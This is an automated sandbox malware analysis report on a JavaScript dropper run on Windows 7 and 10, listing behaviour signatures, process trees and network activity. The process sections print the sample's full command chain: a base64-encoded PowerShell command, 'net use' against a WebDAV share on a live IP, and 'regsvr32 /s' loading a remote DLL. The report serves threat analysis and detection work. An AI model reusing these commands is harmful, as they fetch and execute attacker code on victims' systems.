Malware Analysis Report

2024-12-07 16:48

Sample ID 241113-lfbwvasmgr
Target 22920173641395825313.js
SHA256 20e8d9dabe8285a908177a739711772b456171c05ec5373c75386992b9c1bb74
Tags
defense_evasion execution
score
7/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
7/10

SHA256

20e8d9dabe8285a908177a739711772b456171c05ec5373c75386992b9c1bb74

Threat Level: Shows suspicious behavior

The file 22920173641395825313.js was found to be: Shows suspicious behavior.

Malicious Activity Summary

defense_evasion execution

Checks computer location settings

Obfuscated Files or Information: Command Obfuscation

Command and Scripting Interpreter: JavaScript

Enumerates physical storage devices

Delays execution with timeout.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam

Suspicious use of WriteProcessMemory

Runs net.exe

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-13 09:28

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-13 09:28

Reported

2024-11-13 09:30

Platform

win7-20240903-en

Max time kernel

120s

Max time network

121s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\22920173641395825313.js

Signatures

Obfuscated Files or Information: Command Obfuscation

defense_evasion

Command and Scripting Interpreter: JavaScript

execution

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\timeout.exe N/A

Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam

Description Indicator Process Target
N/A N/A C:\Windows\system32\regsvr32.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1900 wrote to memory of 2368 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1900 wrote to memory of 2368 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1900 wrote to memory of 2368 N/A C:\Windows\system32\wscript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2368 wrote to memory of 2328 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\timeout.exe
PID 2368 wrote to memory of 2328 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\timeout.exe
PID 2368 wrote to memory of 2328 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\timeout.exe
PID 2368 wrote to memory of 2844 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2368 wrote to memory of 2844 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2368 wrote to memory of 2844 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2844 wrote to memory of 2864 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\net.exe
PID 2844 wrote to memory of 2864 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\net.exe
PID 2844 wrote to memory of 2864 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\net.exe
PID 2368 wrote to memory of 2988 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2368 wrote to memory of 2988 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2368 wrote to memory of 2988 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2988 wrote to memory of 2788 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\regsvr32.exe
PID 2988 wrote to memory of 2788 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\regsvr32.exe
PID 2988 wrote to memory of 2788 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\regsvr32.exe
PID 2988 wrote to memory of 2788 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\regsvr32.exe
PID 2988 wrote to memory of 2788 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\regsvr32.exe

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\22920173641395825313.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand dABpAG0AZQBvAHUAdAAgADEAOwBjAG0AZAAgAC8AYwAgAG4AZQB0ACAAdQBzAGUAIABcAFwAOQA0AC4AMQA1ADkALgAxADEAMwAuADcAOQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAOwBjAG0AZAAgAC8AYwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4ANwA5AEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAzADcAMQAwADEANgA2ADUANQAyADIANQAxADAALgBkAGwAbAA=

C:\Windows\system32\timeout.exe

"C:\Windows\system32\timeout.exe" 1

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c net use \\94.159.113.79@8888\davwwwroot\

C:\Windows\system32\net.exe

net use \\94.159.113.79@8888\davwwwroot\

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c regsvr32 /s \\94.159.113.79@8888\davwwwroot\37101665522510.dll

C:\Windows\system32\regsvr32.exe

regsvr32 /s \\94.159.113.79@8888\davwwwroot\37101665522510.dll

Network

N/A

Files

memory/2368-4-0x000007FEF62EE000-0x000007FEF62EF000-memory.dmp

memory/2368-7-0x000007FEF6030000-0x000007FEF69CD000-memory.dmp

memory/2368-6-0x0000000002A60000-0x0000000002A68000-memory.dmp

memory/2368-5-0x000000001B510000-0x000000001B7F2000-memory.dmp

memory/2368-8-0x000007FEF6030000-0x000007FEF69CD000-memory.dmp

memory/2368-9-0x000007FEF6030000-0x000007FEF69CD000-memory.dmp

memory/2368-10-0x000007FEF6030000-0x000007FEF69CD000-memory.dmp

memory/2368-11-0x000007FEF6030000-0x000007FEF69CD000-memory.dmp

memory/2368-12-0x000007FEF6030000-0x000007FEF69CD000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-13 09:28

Reported

2024-11-13 09:30

Platform

win10v2004-20241007-en

Max time kernel

94s

Max time network

137s

Command Line

wscript.exe C:\Users\Admin\AppData\Local\Temp\22920173641395825313.js

Signatures

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation C:\Windows\system32\wscript.exe N/A

Obfuscated Files or Information: Command Obfuscation

defense_evasion

Command and Scripting Interpreter: JavaScript

execution

Enumerates physical storage devices

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\timeout.exe N/A

Runs net.exe

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Windows\system32\wscript.exe

wscript.exe C:\Users\Admin\AppData\Local\Temp\22920173641395825313.js

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand dABpAG0AZQBvAHUAdAAgADEAOwBjAG0AZAAgAC8AYwAgAG4AZQB0ACAAdQBzAGUAIABcAFwAOQA0AC4AMQA1ADkALgAxADEAMwAuADcAOQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAOwBjAG0AZAAgAC8AYwAgAHIAZQBnAHMAdgByADMAMgAgAC8AcwAgAFwAXAA5ADQALgAxADUAOQAuADEAMQAzAC4ANwA5AEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAAzADcAMQAwADEANgA2ADUANQAyADIANQAxADAALgBkAGwAbAA=

C:\Windows\system32\timeout.exe

"C:\Windows\system32\timeout.exe" 1

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c net use \\94.159.113.79@8888\davwwwroot\

C:\Windows\system32\net.exe

net use \\94.159.113.79@8888\davwwwroot\

C:\Windows\system32\cmd.exe

"C:\Windows\system32\cmd.exe" /c regsvr32 /s \\94.159.113.79@8888\davwwwroot\37101665522510.dll

C:\Windows\system32\regsvr32.exe

regsvr32 /s \\94.159.113.79@8888\davwwwroot\37101665522510.dll

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 154.239.44.20.in-addr.arpa udp
US 8.8.8.8:53 83.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 134.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 241.42.69.40.in-addr.arpa udp
US 8.8.8.8:53 197.87.175.4.in-addr.arpa udp
US 8.8.8.8:53 98.117.19.2.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
US 8.8.8.8:53 19.229.111.52.in-addr.arpa udp

Files

memory/3416-0-0x00007FFDF1EA3000-0x00007FFDF1EA5000-memory.dmp

memory/3416-1-0x000002366F6E0000-0x000002366F702000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_l4cd0jip.jlj.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3416-11-0x00007FFDF1EA0000-0x00007FFDF2961000-memory.dmp

memory/3416-12-0x00007FFDF1EA0000-0x00007FFDF2961000-memory.dmp

memory/3416-13-0x00007FFDF1EA0000-0x00007FFDF2961000-memory.dmp

memory/3416-16-0x00007FFDF1EA0000-0x00007FFDF2961000-memory.dmp